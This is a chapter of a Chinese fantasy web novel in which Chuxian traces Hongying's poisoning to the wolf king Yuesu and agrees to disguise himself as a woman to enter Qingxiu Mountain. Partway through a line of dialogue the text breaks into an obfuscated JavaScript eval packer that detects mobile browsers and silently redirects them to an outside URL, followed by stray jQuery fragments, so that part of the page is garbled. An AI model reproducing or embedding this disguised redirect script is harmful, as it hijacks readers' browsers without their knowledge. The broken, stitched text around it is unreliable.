41. 赴清秀山之女装行1

作品:《看别时茫茫江浸月

    几人正聊着天,初弦颈肩的红玉锁忽然一亮一亮的,初弦握住红玉锁,随即传来西达阿的声音:“白宴禾的事情处理好了,你记得在典子上给他除名。”


    “知道了。”


    西达阿继续道:“对了,上回你托我帮你查一只名为月溯的狼妖,有结果了。出乎意料的是,他是狼王,常年居于清秀山。”


    初弦暗道不妙。


    清秀山环境恶劣,平常的妖根本生存不下去,如果能存活下来的,那妖力必定强势。


    狼王好端端的来到仙宗司是想做什么?目的是什么?找仙宗司的仙士,还是……跟着自己来的?


    初弦问道:“他的底细是什么?”


    西达阿介绍道:“此妖喜欢带獠牙面具,喜欢穿羊毛大衣,喜欢吃羊肉,喜欢……”


    “额,那个……”初弦试探着打断,语气有些尴尬道,“我问的是他为人处事。”


    “哦!”西达阿故作惊讶,随后继续道,“他有一个长处,擅长用毒血噬人心,被妖界称作虞幽的心脏,还有称虞幽的毒液。”


    毒血,自然是月溯自己的血。据西达阿所述,月溯并不是天生有的毒血,而是从小服用虞幽花。虞幽花全株剧毒,若是普通人服用立刻毒发身亡,而月溯是妖,有自己的保护屏障,自然无碍。不过是谁让他服用的,为什么从小就服用虞幽花,可想而知,背后之人极为可怖。


    中招之人症状很多,有的会失明;有的会失聪;有的心神不定……初弦忽地想到,之前在仙宗司山脚下误入的幻境,那猛虎的血就是有毒,而他也不出所料的中招了。


    好在月溯通人情,把解药给了他,虽然没有任何效果。


    初弦拿起茶杯一口闷,神情有些严肃,道:“那这人大概是不好相处。”


    “好不好相处我不知道,有一点我倒是比较清楚。”


    “哦?是什么?”初弦眉眼微微上扬。


    “喜欢美人。”


    闻言,初弦长眉一压,面露不喜之色。上次误入幻境,因为月溯,自己险些死于猛虎利爪下。事后还被他调侃,令他十分不满。


    “怎么不说话?”西达阿问道。


    初弦勉强道:“无事。不过他竟然出现了,那就是有原因的。”


    是什么原因,大家都不知道,但一定不是什么好事。


    “你觉得会是什么原因?”


    初弦道:“与魔屠自然是脱不了关系。”


    “此话怎讲?”


    初弦叹气道:“我不知,凭感觉罢了。”


    “……”西达阿道,“还有一件事,秋月白她,我不知道去哪。”


    “我知道了,我自己去找她,月夜也在赶回来了。”


    “寻的路上,注意安全。”


    承安见他们二人对话结束,便道:“怎么了?”


    初弦摇头叹气,自责道:“情况不妙,没有月白的消息,明知道她心神不定,我还非得让她回去伤她的心。”


    “哥哥,别自责。”承安从他身后搂住他,头搭在初弦的肩,道,“咱们去找她赔罪就是了。”


    “说得对,我们现在就去吧。”初弦说着就立即站起身,对翎儿道,“翎儿还是继续变成发簪吧。”


    “好呀。”翎儿变成一支带着三朵梅花的簪子,简单带着些俏皮。


    初弦双手扒拉着头发,拾起簪子就要往头发上插,不料被承安拦住,他道:“你别戴,我戴。”


    此话一出,翎儿立即道:“我不要。”


    “我管你要不要。”承安一把夺过簪子就要往头上戴,没成想把那乌黑亮丽的青丝弄的乱糟糟。他撇了撇嘴道,“我不会戴!”


    翎儿也哼道:“不会戴别戴呀!”


    初弦看着他俩和小孩较劲般似的,嘴角微微上扬,推着承安到镜子前,替他理发。


    初弦薅起承安上半部分的青丝,绕着发簪两个圈扎上,整个人看起来爽朗多了。


    承安抬眸,与初弦目光交汇,柔和道:“好看么?”


    “好看。”


    初弦正打算凑到他的脸颊亲一个,不料门被猛的踹开,门就轻飘飘的摔下去了,来人是玄夜,他焦急道:“红缨又疯了!”


    初弦问道:“怎么了?”


    “来不及解释了,快跟我来!”话音刚落就又急匆匆的跑了出去,几人跟上去。


    来到红缨的住处,只见她双手被铁链捆住,下半身依旧是蛇尾。不是说变成完形妖了吗?怎么还是半蛇妖的状态?以往的灵蛇鬓也乱糟糟的,碎发披在薄肩上,脸色极为苍白,已然没了从前那般媚人。


    玄夜也是浑身疲惫模样,衣衫的几处划痕大抵是红缨挠出来的,他眉头紧锁,解释道:“还以为好了,没想到又发了疯的自残,谁拦她就挠谁,一点理智也没有。”


    承安看着红缨憔悴的模样,有些说不出话来。他们仨自小一起长大,一起耍,就算承安成了月伢妖的王,他们也从未嫉妒,而是忠心耿耿。即使有时候相互拌嘴耍嘴皮子,但都是内心认证的,一辈子的好朋友。如今红缨这般模样,有他一部分责任,他无比自责。


    初弦食指微微弯曲抵在下唇,若有所思,道:“她怕是神志不清了。”


    玄夜道:“这有可能,喊她都不应的。”


    初弦掏出药瓶扔给玄夜,道:“先给她吃颗定心丸吧。”


    玄夜扒开塞子,倒出一颗血色丸子,塞进红缨嘴里,没成想红缨直接咬住玄夜的虎口处,玄夜虽然吃痛,但还是哄着她,“乖,吃下去就好了。”


    “这是什么!”玄夜忽然喊道。


    初弦看着玄夜指的地方,右侧颈间连着锁骨的那处,布满血丝,隐隐约约闪着红色光亮。


    初弦赶紧为红缨把脉,脉路絮乱……好似中毒的症状。初弦问玄夜,“分化之前,她有没有接触什么人?或者说,她突然发狂,又是因为什么?”


    玄夜仔细回忆当时,他与红缨正在修炼,但是二人皆是闭目,并未瞧见什么,但他好像闻到了一股很重的血腥味,不是人血,而是牲畜的血腥味,对就是牲畜的血腥味。在他闻到味道的时候,红缨就忽然发狂,他当即道:“我们并未接触什么人,但是我闻到一股血腥味很重的味道。”


    “是什么?”


    “牲畜的味道。”


    牲畜的味道……鸡?猪?牛?


    难道是……羊?


    初弦恍然大悟,道:“红缨她中了月溯的毒血。”


    承安大惊:“什么!这怎么可能?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174613|196887||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    初弦赶紧掏出那瓶药,这是月溯给他的,虽然好像没什么效果,但还是怀着试一试的心理,倒出一颗丹药,塞进红缨嘴里。不出所料,红缨锁骨上的血丝有些淡化。可是当初他自己服用的时候并没有效果,出了幻境才恢复了感知能力……这是为何?


    来不及多想,初弦把那瓶药给了玄夜,道:“如果她再发狂,就给她服下一颗。”


    玄夜疑道:“这是解药?”


    “我不确定这是不是解药,但一定能缓解现在的状况。”随即转身对承安道,“我们即刻去清秀山找月溯,他既然追到这了,肯定是有目的的。”


    “那秋月白呢?”承安只感到浑身的烦躁。


    “月白让月夜去找吧,也只能这样了。”


    月溯究竟是冲谁来的?当初只有承安没有进入幻境,难道是冲着承安来的?可是,他为何这样做,他到底有什么目的……


    玄夜忽道:“你们要去清秀山?”


    承安道:“有何问题?”


    “进入清秀山,是件难事。”


    初弦眉眼微动,道:“你如何得知?”


    玄夜:“儿时曾与父亲寻一物,不料那里守卫森严,就连只蝼蚁也休想混入其中,我与父亲也就只好空手而归。


    初弦见承安有些发愣,轻轻碰了碰他的肩,问道:“怎么了?”


    承安回过神,摇头道:“无事。”


    “那要怎么进去呢?”初弦思索着。


    “月溯最喜欢美人了,找个美娘子不就能混进去了吗?”西达阿的声音回响四周。


    初弦扶额,“能去哪找,眼下月白又不在这。况且让女子去冒险也不合适。”


    玄夜道:“我倒是有个法子。”


    初弦:“讲来听听。”


    玄夜有些支支吾吾,不太敢讲,直到承安眼神示意,才道:“其实可以男扮女装……”


    此话一出承安当即道:“不行!一个大男人穿上女人的衣衫,一眼就识破。”


    初弦想了想身边有没有长相俊朗,身形又娇小的男人……想到的只有白宴禾,问西达阿:“能否……”


    “不行。”西达阿好似知道他要说什么立即打断,道,“他身体太虚弱了。”


    “好吧。”初弦叹气道,“那我勉强上阵吧……”


    “不行!”承安喊道。


    初弦有些无奈,“怎么又不行?”


    承安一想到在仙宗司的时候月溯调戏初弦的画面就气的不行,如今还要哥哥男扮女装去勾引那流氓是绝对不可能的!他表现一副视死如归的模样,铿锵道:“我去!”


    玄夜闻言下巴都快合不上了,初弦还没反应过来承安说的是什么,便见玄夜道:“不行的大王,您这么高大的个儿更容易被识破……”


    西达阿斟酌了下,半晌才道:“这小子说得对,要你女装连清秀山山脚都踏不上,还是让初弦去吧。”


    承安面露难色,心里是一万个不乐意,初弦也看得出他什么意思,安抚道:“我无妨,重要的是红缨现在有生命危险。”


    承安许久才微微点头,而又立时道:“那你,混入内部的时候,一定要时刻与我联系。”


    “自然,如此,你才能放心。”